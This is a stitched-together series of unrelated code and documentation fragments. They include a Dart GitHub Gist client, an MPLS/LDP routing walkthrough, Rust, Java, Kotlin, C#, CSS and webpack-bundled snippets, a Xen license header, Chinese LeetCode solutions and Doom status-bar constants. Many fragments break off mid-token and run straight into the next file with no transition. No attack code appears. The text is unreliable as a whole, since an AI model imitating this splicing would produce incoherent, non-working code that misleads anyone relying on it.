  /// Deletes the specified Gist.
  ///
  /// API docs: https://developer.github.com/v3/gists/#delete-a-gist
  Future<bool> deleteGist(String id) {
    return github.request('DELETE', '/gists/$id').then((response) {
      return response.statusCode == 204;
    });
  }

  /// Edits a Gist.
  ///
  /// API docs: https://developer.github.com/v3/gists/#edit-a-gist
  Future<Gist> editGist(
    String id, {
    String? description,
    Map<String, String>? files,
  }) {
    final map = <String, dynamic>{};

    if (description != null) {
      map['description'] = description;
    }

    if (files != null) {
      final f = <String, dynamic>{};
      for (final key


ux# show ip route ldp
Codes: K - kernel route, C - connected, S - static, R - RIP,
       O - OSPF, I - IS-IS, B - BGP, P - PIM, A - Babel, L - LDP,
       > - selected route, * - FIB route

L>* 1.1.1.1/32 [0/0] via 10.0.3.2, eth2 label 24000
L>* 3.3.3.3/32 [0/0] via 10.0.3.2, eth2 label 24001
```

Verify that all the exchanged label mappings were installed in the kernel:
```
$ ip -M ro
17 via inet6 2001:db8:3::2 dev eth2  proto zebra
19 as to 24005 via inet6 2001:db8:3::2 dev eth2  proto zebra
20 as to 24000 via inet 10.0.3.2 dev eth2  proto zebra
21 via inet 10.0.3.2 dev eth2  proto zebra
22 as to 24001 via inet 10.0.3.2 dev eth2  proto zebra
23 via inet 10.0.3.2 dev eth2  proto zebra
24 via inet 10.0.3.2 dev eth2  proto zebra
25 via inet 10.0.3.2 dev eth2  proto zebra
$
$ ip route | grep mpls
1.1.1.1  encap mpls  24000 via 10.0.3.2 dev eth2  proto zebra  metric 20
3.3.3.3  encap mpls  24001 via 10.0.3.2 dev eth2  proto zebra  metric 20
```

Now ping PE1's loopback using lo1's address as a source address:
```
$ ping -c 5 -I 4.4.4.4 1.1.1.1
PING 1.1.1.1 (1.1.1.1) from 4.4.4.4 : 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=253 time=3.02 ms
64 bytes from 1.1.1.1: icmp_seq=2 ttl=253 time=3.13 ms
64 bytes from 1.1.1.1: icmp_seq=3 ttl=253 time=3.19 ms
64 bytes from 1.1.1.1: icmp_seq=4 ttl=253 time=3.07 ms
64 bytes from 1.1.1.1: icmp_seq=5 ttl=253 time=3.27 ms

--- 1.1.1.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4005ms
rtt min/avg/max/mdev = 3.022/3.140/3.278/0.096 ms
```

Verify that the ICMP echo request packets are leaving with the MPLS
label advertised by the P router. Also, verify that the ICMP echo reply
packets are arriving with an explicit-null MPLS label:
```
# tcpdump -n -i eth2 mpls and icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 262144 bytes
10:01:40.758771 MPLS (label 24000, exp 0, [S], ttl 64) IP 4.4.4.4 > 1.1.1.1: ICMP echo request, id 13370, seq 1, length 64
10:01:40.761777 MPLS (label 0, exp 0, [S], ttl 254) IP 1.1.1.1 > 4.4.4.4: ICMP echo reply, id 13370, seq 1, length 64
10:01:41.760343 MPLS (label 24000, exp 0, [S], ttl 64) IP 4.4.4.4 > 1.1.1.1: ICMP echo request, id 13370, seq 2, length 64
10:01:41.763448 MPLS (label 0, exp 0, [S], ttl 254) IP 1.1.1.1 > 4.4.4.4: ICMP echo reply, id 13370, seq 2, length 64
10:01:42.761758 MPLS (label 24000, exp 0, [S], ttl 64) IP 4.4.4.4 > 1.1.1.1: ICMP echo request, id 13370, seq 3, length 64
10:01:42.764924 MPLS (label 0, exp 0, [S], ttl 254) IP 1.1.1.1 > 4.4.4.4: ICMP echo reply, id 13370, seq 3, length 64
10:01:43.763193 MPLS (label 24000, exp 0, [S], ttl 64) IP 4.4.4.4 > 1.1.1.1: ICMP echo request, id 13370, seq 4, length 64
10:01:43.766237 MPL


tion::I64Const(x) => WasmValue::I64(*x),
        wast::Instruction::F32Const(x) => WasmValue::F32(x.bits),
        wast::Instruction::F64Const(x) => WasmValue::F64(x.bits),
        wast::Instruction::V128Const(_) => panic!(),
        wast::Instruction::RefExtern(x) => WasmValue::Ref(RefVal::ExternRef(*x)),
        wast::Instruction::RefNull(ty) => WasmValue::Ref(RefVal::NullRef(to_ref_type(ty).unwrap())),
        other => panic!("unsupported const expr inst {:?}", other),
    }
}

fn is_canonical_f32_nan(f: &F32) -> bool {
    (f.to_bits() & 0x7fffffff) == 0x7fc00000
}

fn is_canonical_f64_nan(f: &F64) -> bool {
    (f.to_bits() & 0x7fffffffffffffff) == 0x7ff8000000000000
}

fn is_arithmetic_f32_nan(f: &F32) -> bool {
    (f.to_bits() & 0x00400000) == 0x00400000
}

fn is_arithmetic_f64_nan(f: &F64) -> bool {
    (f.to_bits() & 0x0008000000000000) == 0x0008000000000000
}
<filename>crates/rome_formatter/src/ts/parameter_list.rs
use crate::{
    empty_element, format_elements, group_elements, join_elements, soft_indent,
    soft_line_break_or_space, space_token, token, FormatElement, FormatResult, Formatter,
    ToFormatElement,
};
use rslint_parser::ast::{JsAnyParameter, JsParameter, JsParameters, JsRestParameter};

impl ToFormatElement for JsParameters {
    fn to_format_element(&self, formatter: &Formatter) -> FormatResult<FormatElement> {
        let param_tokens = formatter.format_separated(self.items(), || token(","))?;

        Ok(group_elements(formatter.format_delimited(
            &self.l_paren_token()?,
            |leading, trailing| {
                Ok(soft_indent(format_elements![
                    leading,
                    join_elements(soft_line_break_or_space(), param_tokens),
                    trailing,
                ]))
            },
            &self.r_paren_token()?,
        )?))
    }
}

impl ToFormatElement for JsAnyParameter {
    fn to_format_element(&self, formatter: &Formatter) -> FormatResult<FormatElement> {
        match self {
            JsAnyParameter::JsParameter(parameter) => parameter.to_format_element(formatter),
            JsAnyParameter::JsUnknownParameter(_) => todo!(),
            JsAnyParameter::JsRestParameter(binding) => binding.to_format_element(formatter),
        }
    }
}

impl ToFormatElement for JsRestParameter {
    fn to_format_element(&self, formatter: &Formatter) -> FormatResult<FormatElement> {
        Ok(format_elements![
            formatter.format_token(&self.dotdotdot_token()?)?,
            formatter.format_node(self.binding()?)?
        ])
    }
}

impl ToFormatElement for JsParameter {
    fn to_format_element(&self, formatter: &Formatter) -> FormatResult<FormatElement> {
        let initializer = if let Some(initializer) = self.initializer() {
            format_elements![space_token(), formatter.format_node(initializer)?]
        } else {
            empty_element()
        };

        Ok(format_elements![
            formatter.format_node(self.binding()?)?,
            initializer
        ])
    }
}
extern crate vsop87;

use vsop87::*;

#[test]
fn it_kepler() {
    let vsop87_elts = vsop87::mercury(2451545.0);

    assert!(vsop87


 = true;
			if(mdh.getNumMandatoryPharmacophorePoints()>0){

				int nInevitableInSub = 0;
				for (int i = 0; i < arr.length; i++) {

					if(mdh.isMandatoryPharmacophorePoint(arr[i])){
						nInevitableInSub++;
					}
				}

				if(nInevitableInSub < mdh.getNumMandatoryPharmacophorePoints()){
					inevitableAllInSub = false;
				}
			}

			if(inevitableAllInSub) {

				MolDistHistVizFrag frag = getSubFragment(mdh, arr);

				liFrags.add(frag);
			}

		}

		return liFrags;
	}

	/**
	 * @param mdh
	 * @param arrIndexNodes the original index is set in the index field of the new SubFragment.
	 * @return
	 */
	public static MolDistHistVizFrag getSubFragment(MolDistHistViz mdh, int [] arrIndexNodes){

		MolDistHistVizFrag frag = new MolDistHistVizFrag(arrIndexNodes.length, mdh.getMolecule());

		for (int i = 0; i < arrIndexNodes.length; i++) {
			PPNodeViz node = new PPNodeViz(mdh.getNode(arrIndexNodes[i]));
			frag.addNode(node);
		}

		for (int i = 0; i < arrIndexNodes.length; i++) {
			for (int j = i+1; j < arrIndexNodes.length; j++) {
				byte [] arrHist = mdh.getDistHist(arrIndexNodes[i],arrIndexNodes[j]);
				frag.setDistHist(i,j,arrHist);
			}
		}

		frag.setArrIndexParentNodes(arrIndexNodes);

		frag.realize();

		return frag;
	}

	public static List<MolDistHist> generateSubPharmacophores(MolDistHist mdh, int size){

		List<int[]> liIndSub = CombinationGenerator.getAllOutOf(mdh.getNumPPNodes(), size);
		if(liIndSub == null)
			return null;

		List<MolDistHist> liMolDistHistSub = new ArrayList<>();

		for (int[] arrIndSub : liIndSub) {
			MolDistHist mdhSub = getSubFragment(mdh, arrIndSub);
			liMolDistHistSub.add(mdhSub);
		}

		return liMolDistHistSub;
	}

	public static MolDistHist getSubFragment(MolDistHist mdh, int [] arrIndexNodes){

		MolDistHist frag = new MolDistHist(arrIndexNodes.length);

		for (int i = 0; i < arrIndexNodes.length; i++) {
			PPNode node = new PPNode(mdh.getNode(arrIndexNodes[i]));
			frag.addNode(node);
		}

		for (int i = 0; i < arrIndexNodes.length; i++) {
			for (int j = i+1; j < arrIndexNodes.length; j++) {
				byte [] arrHist = mdh.getDistHist(arrIndexNodes[i],arrIndexNodes[j]);
				frag.setDistHist(i,j,arrHist);
			}
		}

		frag.realize();

		return frag;
	}

	public static class ViolatedConditionsCount {

		private long ccMissedMinRange;
		private long ccViolatedMaxRange;
		private long ccViolatedMinDiffInteractionTypes;

		public ViolatedConditionsCount() {
			ccMissedMinRange=0;
			ccViolatedMaxRange=0;
			ccViolatedMinDiffInteractionTypes=0;
		}

		public void add(ViolatedConditionsCount v){
			ccMissedMinRange +=v.ccMissedMinRange;
			ccViolatedMaxRange +=v.ccViolatedMaxRange;


         val sound = entity.deathSoundAccessor
                        if (sound != null) {
                            entity.playSound(sound, entity.soundVolumeAccessor, entity.voicePitch)
                        }
                        entity.die(source)
                    }
                } else {
                    entity.playHurtSound(source)
                }
            }
        }
    }
}
package at.petrak.hexcasting.api.casting.eval.vm

import at.petrak.hexcasting.api.HexAPI
import at.petrak.hexcasting.api.casting.eval.vm.CastingImage.ParenthesizedIota.Companion.TAG_ESCAPED
import at.petrak.hexcasting.api.casting.eval.vm.CastingImage.ParenthesizedIota.Companion.TAG_IOTAS
import at.petrak.hexcasting.api.casting.iota.Iota
import at.petrak.hexcasting.api.casting.iota.IotaType
import at.petrak.hexcasting.api.casting.iota.ListIota
import at.petrak.hexcasting.api.utils.*
import net.minecraft.nbt.CompoundTag
import net.minecraft.nbt.ListTag
import net.minecraft.nbt.Tag
import net.minecraft.server.level.ServerLevel
import net.minecraft.world.entity.Entity

/**
 * The state of a casting VM, containing the stack and all
 */
data class CastingImage private constructor(
    val stack: List<Iota>,

    val parenCount: Int,
    val parenthesized: List<ParenthesizedIota>,
    val escapeNext: Boolean,
    val opsConsumed: Long,

    val userData: CompoundTag
) {
    constructor() : this(listOf(), 0, listOf(), false, 0, CompoundTag())

    data class ParenthesizedIota(val iota: Iota, val escaped: Boolean) {
        companion object {
            const val TAG_IOTAS = "iotas"
            const val TAG_ESCAPED = "escaped"
        }
    }

    /**
     * Returns an empty list if it's too complicated.
     */
    private fun Iterable<ParenthesizedIota>.serializeToNBT(): CompoundTag {
        val tag = CompoundTag()

        if (IotaType.isTooLargeToSerialize(this.map { it.iota })) {
            tag.put(TAG_IOTAS, ListTag())
            tag.put(TAG_ESCAPED, ListTag())
        } else {
            tag.put(TAG_IOTAS, ListIota(this.map { it.iota }).serialize())
            tag.put(TAG_ESCAPED, this.map { it.escaped }.serializeToNBT())
        }

        return tag
    }

    /**
     * Return a copy of this with the given number of ops additionally exhausted
     */
    fun withUsedOps(count: Long) = this.copy(opsConsumed = this.opsConsumed + count)

    /**
     * Return a copy of this with 1 op used
     */
    fun withUsedOp() = this.withUsedOps(1)

    /**
     * Returns a copy of this with the [opsConsumed] replaced with [count].
     */
    fun withOverriddenUsedOps(count: Long) = this.copy(opsConsumed = count)

    /**
     * Returns a copy of this with escape/paren-related fields cleared.
     */
    fun withResetEscape() = this.copy(parenCount = 0, parenthesized = listOf(), escapeNext = false)

    fun serializeToNbt() = NBTBuilder {
        TAG_STACK %= stack.serializeToNBT()

        TAG_PAREN_COUNT %= parenCount
        TAG_ESCAPE_NEXT %= escapeNext
        TAG_PARENTHESIZED %= parenthesized.serializeToNBT()
        TAG_OPS_CONSUMED %= opsConsumed

        TAG_USERDATA %= userData
    }

    companion object {
        const val TAG_STACK = "stack"
        const val TAG_PAREN_COUNT = "open_parens"
        const val TAG_PARENTHESIZED = "parenthesized"
        const val TAG_ESCAPE_NEXT = "escape_next"
        const val TAG_OPS_CONSUMED = "ops_consum


.0, 2.5))).rootDeviceType(RootDeviceType.EBS);
   }

   /**
    * @see InstanceType#M1_LARGE
    */
   public static EC2HardwareBuilder m1_large() {
      return new EC2HardwareBuilder(InstanceType.M1_LARGE).m1()
            .ram(7680)
            .processors(ImmutableList.of(new Processor(2.0, 2.0)))
            .volumes(ImmutableList.<Volume> of(
                  new VolumeBuilder().type(LOCAL).size(10.0f).device("/dev/sda1").bootDevice(true).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sdb").bootDevice(false).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sdc").bootDevice(false).durable(false).build()))
            .is64Bit(true);
   }

   /**
    * @see InstanceType#M1_XLARGE
    */
   public static EC2HardwareBuilder m1_xlarge() {
      return new EC2HardwareBuilder(InstanceType.M1_XLARGE).m1()
            .ram(15360)
            .processors(ImmutableList.of(new Processor(4.0, 2.0)))
            .volumes(ImmutableList.<Volume> of(
                  new VolumeBuilder().type(LOCAL).size(10.0f).device("/dev/sda1").bootDevice(true).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sdb").bootDevice(false).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sdc").bootDevice(false).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sdd").bootDevice(false).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sde").bootDevice(false).durable(false).build()))
            .is64Bit(true);
   }

   /**
    * @see InstanceType#M2_XLARGE
    */
   public static EC2HardwareBuilder m2_xlarge() {
      return new EC2HardwareBuilder(InstanceType.M2_XLARGE).m2()
            .ram(17510)
            .processors(ImmutableList.of(new Processor(2.0, 3.25)))
            .volumes(ImmutableList.<Volume> of(
                  new VolumeBuilder().type(LOCAL).size(420.0f).device("/dev/sda1").bootDevice(true).durable(false).build()))
            .is64Bit(true);
   }

   /**
    * @see InstanceType#M2_2XLARGE
    */
   public static EC2HardwareBuilder m2_2xlarge() {
      return new EC2HardwareBuilder(InstanceType.M2_2XLARGE).m2()
            .ram(35020)
            .processors(ImmutableList.of(new Processor(4.0, 3.25)))
            .volumes(ImmutableList.<Volume> of(
                  new VolumeBuilder().type(LOCAL).size(10.0f).device("/dev/sda1").bootDevice(true).durable(false).build(),
                  new VolumeBuilder().type(LOCAL).size(840.0f).device("/dev/sdb").bootDevice(false).durable(false).build()))
            .is64Bit(true);
   }

   /**
    * @see InstanceType#M2_4XLARGE
    */
   public static EC2HardwareBuilder m2_4xlarge() {
      return new EC2HardwareBuilder(InstanceType.M2_4XLARGE).m2()
            .ram(70041)
            .processors(ImmutableList.of(new Processor(8.0, 3.25)))
            .volumes(ImmutableList.<Volume> of(
                  new V


toolbar .inner-toolbar,
	html.scroll .content-with-menu-has-toolbar .inner-toolbar,
	html.boxed .content-with-menu-has-toolbar .inner-toolbar {
		padding-left: 0;
	}

	html.fixed.inner-menu-opened .inner-body {
		margin-left: 300px;
	}

	html.fixed .content-with-menu .inner-toolbar,
	html.fixed.inner-menu-opened .content-with-menu .inner-toolbar {
		left: 600px;
	}

	html.fixed .inner-menu-toggle,
	html.fixed .inner-menu,
	html.fixed.inner-menu-opened .inner-menu-toggle,
	html.fixed.inner-menu-opened .inner-menu {
		left: 300px;
	}

	html.fixed.sidebar-right-opened .content-with-menu .inner-toolbar {
		left: 300px;
	}

	html.fixed.sidebar-right-opened .inner-menu,
	html.fixed.sidebar-right-opened .inner-menu-toggle {
		left: 0px;
	}

	html.fixed.sidebar-left-collapsed .content-with-menu .inner-toolbar,
	html.fixed.sidebar-left-collapsed.sidebar-right-opened.inner-menu-opened .content-with-menu .inner-toolbar,
	html.fixed.sidebar-left-collapsed.inner-menu-opened .content-with-menu .inner-toolbar {
		left: 373px;
	}

	html.fixed.sidebar-left-collapsed .inner-menu-toggle,
	html.fixed.sidebar-left-collapsed .inner-menu,
	html.fixed.sidebar-left-collapsed.sidebar-right-opened.inner-menu-opened .inner-menu-toggle,
	html.fixed.sidebar-left-collapsed.sidebar-right-opened.inner-menu-opened .inner-menu,
	html.fixed.sidebar-left-collapsed.inner-menu-opened .inner-menu-toggle,
	html.fixed.sidebar-left-collapsed.inner-menu-opened .inner-menu {
		left: 73px;
	}

	html.fixed.sidebar-left-collapsed.sidebar-right-opened .content-with-menu .inner-toolbar {
		left: 73px;
	}

	html.fixed.sidebar-left-collapsed.sidebar-right-opened .inner-menu,
	html.fixed.sidebar-left-collapsed.sidebar-right-opened .inner-menu-toggle {
		left: -227px;
	}
}
/* Fix IE Scrollbar Overlaying content */
@-ms-viewport {
	width: auto !important;
}
/* Sidebar Left Sizing */
@media only screen and (max-width: 767px) {
	/* Layout Mobile - Sidebar Left Collapsed & Sidebar Right Opened */
	html.sidebar-left-sm.sidebar-left-collapsed.sidebar-right-opened .sidebar-left {
		margin-left: -250px;
	}
}

@media only screen and (min-width: 768px) {
	/* Layout Base - Sidebar Left */
	html.sidebar-left-sm .sidebar-left {
		width: 250px;
		font-size: 0.75rem;
	}

	html.sidebar-left-sm .sidebar-left ul.nav-main li i {
		font-size: 0.9rem;
	}

	html.sidebar-left-sm .sidebar-left ul.nav-main li a {
		font-size: 0.75rem;
	}

	html.sidebar-left-sm .sidebar-left .sidebar-widget .widget-header h6 {
		font-size: 0.75rem;
	}

	html.sidebar-left-sm.sidebar-left-collapsed .sidebar-left .sidebar-title {
		margin-left: -250px;
	}

	html.sidebar-left-sm.sidebar-left-collapsed.fixed .sidebar-left .nano:hover {
		width: 250px;
	}

	/* Layout Base - Sidebar Left Opened ( Larger than mobile ) */
	html.s


/******************************************************************************
 * hypercall.S
 *
 * Xen hypercall wrappers
 *
 * Stefano Stabellini <stefano.stabellini@eu.citrix.com>, Citrix, 2012
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License version 2
 * as published by the Free Software Foundation; or, when distributed
 * separately from the Linux kernel or incorporated into other
 * software packages, subject to the following license:
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this source file (the "Software"), to deal in the Software without
 * restriction, including without limitation the rights to use, copy, modify,
 * merge, publish, distribute, sublicense, and/or sell copies of the Software,
 * and to permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
 * FROM, OUT OF OR IN CON


using System;
using OpenTK;

namespace SimpleScene
{
    #region Particle Plane Generators
    /// <summary>
    /// Generates a number of particles with 2D coordinates
    /// </summary>
    public abstract class ParticlesPlaneGenerator
    {
        public delegate bool NewParticleDelegate(int id, Vector2 pos); // return true for accept

        protected Random m_rand = new Random();

        public void SetSeed(int seed) {
            m_rand = new Random(seed);
        }

        abstract public void Generate(int numParticles, NewParticleDelegate newPartDel);
    }

    public class ParticlesOvalGenerator : ParticlesPlaneGenerator
    {
        private readonly float m_horizontalMax;
        private readonly float m_verticalMax;

        public ParticlesOvalGenerator(flo


rn React.createElement(\n    'svg',\n    _extends({}, props, { className: className, width: size, height: size, fill: color, viewBox: '0 0 24 24' }),\n    React.createElement('path', { d: 'M18,16.08C17.24,16.08 16.56,16.38 16.04,16.85L8.91,12.7C8.96,12.47 9,12.24 9,12C9,11.76 8.96,11.53 8.91,11.3L15.96,7.19C16.5,7.69 17.21,8 18,8C19.66,8 21,6.66 21,5C21,3.34 19.66,2 18,2C16.34,2 15,3.34 15,5C15,5.24 15.04,5.47 15.09,5.7L8.04,9.81C7.5,9.31 6.79,9 6,9C4.34,9 3,10.34 3,12C3,13.66 4.34,15 6,15C6.79,15 7.5,14.69 8.04,14.19L15.16,18.34C15.11,18.55 15.08,18.77 15.08,19C15.08,20.61 16.39,21.91 18,21.91C19.61,21.91 20.92,20.61 20.92,19C20.92,17.39 19.61,16.08 18,16.08Z' })\n  );\n};\n\nmodule.exports = ShareVariantIcon;\n//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly9kYXNoX2NhbnZhcy8uL25vZGVfbW9kdWxlcy9tZGktcmVhY3QvU2hhcmVWYXJpYW50SWNvbi5qcz9kOThkIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUFhOztBQUViLCtCQUErQixpRkFBaUY7O0FBRWhILDRCQUE0QixtQkFBTyxDQUFDLG9CQUFPOztBQUUzQztBQUNBLGlCQUFpQixzQkFBc0I7QUFDdkM7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBOztBQUVBO0FBQ0E7O0FBRUE7QUFDQTs7QUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBOztBQUVBO0FBQ0E7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7O0FBRUE7O0FBRUE7QUFDQTtBQUNBLGVBQWUsVUFBVSxxRkFBcUY7QUFDOUcsaUNBQWlDLHVlQUF1ZTtBQUN4Z0I7QUFDQTs7QUFFQSIsImZpbGUiOiIuL25vZGVfbW9kdWxlcy9tZGktcmVhY3QvU2hhcmVWYXJpYW50SWNvbi5qcy5qcyIsInNvdXJjZXNDb250ZW50IjpbIid1c2Ugc3RyaWN0JztcblxuZnVuY3Rpb24gX2ludGVyb3BEZWZhdWx0IChleCkgeyByZXR1cm4gKGV4ICYmICh0eXBlb2YgZXggPT09ICdvYmplY3QnKSAmJiAnZGVmYXVsdCcgaW4gZXgpID8gZXhbJ2RlZmF1bHQnXSA6IGV4OyB9XG5cbnZhciBSZWFjdCA9IF9pbnRlcm9wRGVmYXVsdChyZXF1aXJlKCdyZWFjdCcpKTtcblxudmFyIF9leHRlbmRzID0gT2JqZWN0LmFzc2lnbiB8fCBmdW5jdGlvbiAodGFyZ2V0KSB7XG4gIGZvciAodmFyIGkgPSAxOyBpIDwgYXJndW1lbnRzLmxlbmd0aDsgaSsrKSB7XG4gICAgdmFyIHNvdXJjZSA9IGFyZ3VtZW50c1tpXTtcblxuICAgIGZvciAodmFyIGtleSBpbiBzb3VyY2UpIHtcbiAgICAgIGlmIChPYmplY3QucHJvdG90eXBl


            GameSVCmds.ipfilters[n] = new ipfilter_t();
    }

    /**
     * StringToFilter.
     */
    static boolean StringToFilter(String s, GameSVCmds.ipfilter_t f, GameExportsImpl gameExports) {

    	byte b[] = { 0, 0, 0, 0 };
        byte m[] = { 0, 0, 0, 0 };

        try {
            StringTokenizer tk = new StringTokenizer(s, ". ");

            for (int n = 0; n < 4; n++) {
                b[n] = (byte) Lib.atoi(tk.nextToken());
                if (b[n] != 0)
                    m[n] = -1;
            }

            f.mask = ByteBuffer.wrap(m).getInt();
            f.compare = ByteBuffer.wrap(b).getInt();
        } catch (Exception e) {
            gameExports.gameImports.cprintf(null, Defines.PRINT_HIGH, "Bad filter address: " + s + "\n");
            return false;
        }

        return true;
    }

    /**
     * SV_FilterPacket.
     */
    static boolean SV_FilterPacket(String from, float filterBan) {
        int i;
        int in;
        int m[] = { 0, 0, 0, 0 };

        int p = 0;
        char c;

        i = 0;

        while (p < from.length() && i < 4) {
            m[i] = 0;

            c = from.charAt(p);
            while (c >= '0' && c <= '9') {
                m[i] = m[i] * 10 + (c - '0');
                c = from.charAt(p++);
            }
            if (p == from.length() || c == ':')
                break;

            i++;
            p++;
        }

        in = (m[0] & 0xff) | ((m[1] & 0xff) << 8) | ((m[2] & 0xff) << 16)
                | ((m[3] & 0xff) << 24);

        for (i = 0; i < numipfilters; i++)
            if ((in & ipfilters[i].mask) == ipfilters[i].compare)
                return ((int) filterBan) != 0;

        return ((int) 1 - filterBan) != 0;
    }

    /**
     * SV_AddIP_f.
     */
    private static void SVCmd_AddIP_f(List<String> args, GameExportsImpl gameExports) {
        int i;

        if (args.size() < 3) {
            gameExports.gameImports.cprintf(null, Defines.PRINT_HIGH,
                    "Usage:  addip <ip-mask>\n");
            return;
        }

        for (i = 0; i < numipfilters; i++)
            if (ipfilters[i].compare == 0xffffffff)
                break; // free spot
        if (i == numipfilters) {
            if (numipfilters == MAX_IPFILTERS) {
                gameExports.gameImports.cprintf(null, Defines.PRINT_HIGH,
                        "IP filter list is full\n");
                return;
            }
            numipfilters++;
        }

        if (!StringToFilter(args.get(2), ipfilters[i], gameExports))
            ipfilters[i].compare = 0xffffffff;
    }

    /**
     * SV_RemoveIP_f.
     */
    private static void SVCmd_RemoveIP_f(List<String> args, GameExportsImpl gameExports) {
        GameSVCmds.ipfilter_t f = new GameSVCmds.ipfilter_t();

        if (args.size() < 3) {
            gameExports.gameImports.cprintf(null, Defines.PRINT_HIGH,
                    "Usage: sv removeip <ip-mask>\n");
            return;
        }

        if (!StringToFilter(args.get(2), f, gameExports))
            r


hile (!q.empty()) {
                int u = q.front();
                q.pop();
                for (int v : adj[u]) {
                    if (!vis[v]) {
                        cnt++;
                        vis[v] = true;
                        q.push(v);
                    }
                }
            }
            ans = max(ans, cnt);
        }

        return ans;
    }
};
```

:::

### 方法二：位优化Floyd

在建立有向图后，我们可以使用位优化的Floyd来进行第二步计算。

- 时间复杂度$\mathcal{O}(N^3/W)$，其中$W$为字长。
- 空间复杂度$\mathcal{O}(N^2)$。

::: details 参考代码（C++）

```cpp
using ll = long long;
using bs = bitset<100>;

ll dis(int x1, int y1, int x2, int y2) {
    return 1LL * (x1 - x2) * (x1 - x2) + 1LL * (y1 - y2) * (y1 - y2);
}

class Solution {
public:
    int maximumDetonation(vector<vector<int>>& bombs) {
        int n = bombs.size();
        vector<bs> d(n);
        for (int i = 0; i < n; ++i) {
            d[i].set(i);
            auto &p = bombs[i];
            for (int j = 0; j < n; ++j) {
                auto &q = bombs[j];
                if (dis(p[0], p[1], q[0], q[1]) <= 1LL * p[2] * p[2])
                    d[i].set(j);
            }
        }

        for (int mid = 0; mid < n; ++mid)
            for (int s = 0; s < n; ++s) {
                if (d[s][mid])
                    d[s] |= d[mid];
            }

        int ans = 0;
        for (int i = 0; i < n; ++i)
            ans = max(ans, (int)d[i].count());

        return ans;
    }
};
```

:::

## Problem D - [序列顺序查询](https://leetcode.cn/problems/sequentially-ordinal-rank-tracker/)

### 方法一：平衡树

本题中需要使用支持查询第$i$位元素的平衡树。`set`或`multiset`是不行的，因为不支持按位查询。不过我们还有PBDS（Policy-based data structures），在力扣上也是可以直接使用的。

注意这里比较函数用了`less`，而分数要从大到小，所以这里分数取相反数后再插入。

当然，其他的平衡树也都是可以的，Splay、Treap、红黑树……有模板的可以用模板，不过手写的话就要慢一点了。

- 插入和查询的时间复杂度都为$\mathcal{O}(\log N)$。
- 空间复杂度$\mathcal{O}(N)$。

::: details 参考代码（C++）

```cpp
#include <ext/pb_ds/assoc_container.hpp>
#include <ext/pb_ds/tree_policy.hpp>
using namespace __gnu_pbds;

template<class T>
using ordered_set = tree<T, null_type, less<T>, rb_tree_tag, tree_order_


NUMTURNFACES = 2;

    private static int ST_NUMSPECIALFACES = 3;

    private static int ST_FACESTRIDE =
        (ST_NUMSTRAIGHTFACES + ST_NUMTURNFACES + ST_NUMSPECIALFACES);

    private static int ST_NUMEXTRAFACES = 2;

    private static int ST_NUMFACES =
        (ST_FACESTRIDE * ST_NUMPAINFACES + ST_NUMEXTRAFACES);

    private static int ST_TURNOFFSET = (ST_NUMSTRAIGHTFACES);

    private static int ST_OUCHOFFSET = (ST_TURNOFFSET + ST_NUMTURNFACES);

    private static int ST_EVILGRINOFFSET = (ST_OUCHOFFSET + 1);

    private static int ST_RAMPAGEOFFSET = (ST_EVILGRINOFFSET + 1);

    private static int ST_GODFACE = (ST_NUMPAINFACES * ST_FACESTRIDE);

    private static int ST_DEADFACE = (ST_GODFACE + 1);

    private int ST_FACESX;

    private int ST_FACESY;

    private static int ST_EVILGRINCOUNT = (2 * TICRATE);

    private static int ST_STRAIGHTFACECOUNT = (TICRATE / 2);

    private static int ST_TURNCOUNT = (1 * TICRATE);

    private static int ST_OUCHCOUNT = (1 * TICRATE);

    private static int ST_RAMPAGEDELAY = (2 * TICRATE);

    private static int ST_MUCHPAIN = 20;

    // Location and size of statistics,
    // justified according to widget type.
    // Problem is, within which space? STbar? Screen?
    // Note: this could be read in by a lump.
    // Problem is, is the stuff rendered
    // into a buffer,
    // or into the frame buffer?

    // AMMO number pos.
    private int ST_AMMOWIDTH;
    private int ST_AMMOX;
    private int ST_AMMOY;

    // HEALTH number pos.
    private int ST_HEALTHWIDTH=3;
    private int ST_HEALTHX;
    private int ST_HEALTHY;

    // Weapon pos.
    private int ST_ARMSX;
    private int ST_ARMSY;
    private int ST_ARMSBGX;
    private int ST_ARMSBGY;
    private int ST_ARMSXSPACE;
    private int ST_ARMSYSPACE;

    // Frags pos.
    private int ST_FRAGSX;
    private int ST_FRAGSY;
    private int ST_FRAGSWIDTH;

    // ARMOR number pos.
    private int ST_ARMORWIDTH = 3;

    private int ST_ARMORX;

    private int ST_ARMORY;

    // Key icon positions.
    private int ST_KEY0WIDTH;
    private int ST_KEY0HEIGHT;
    private int ST_KEY0X;
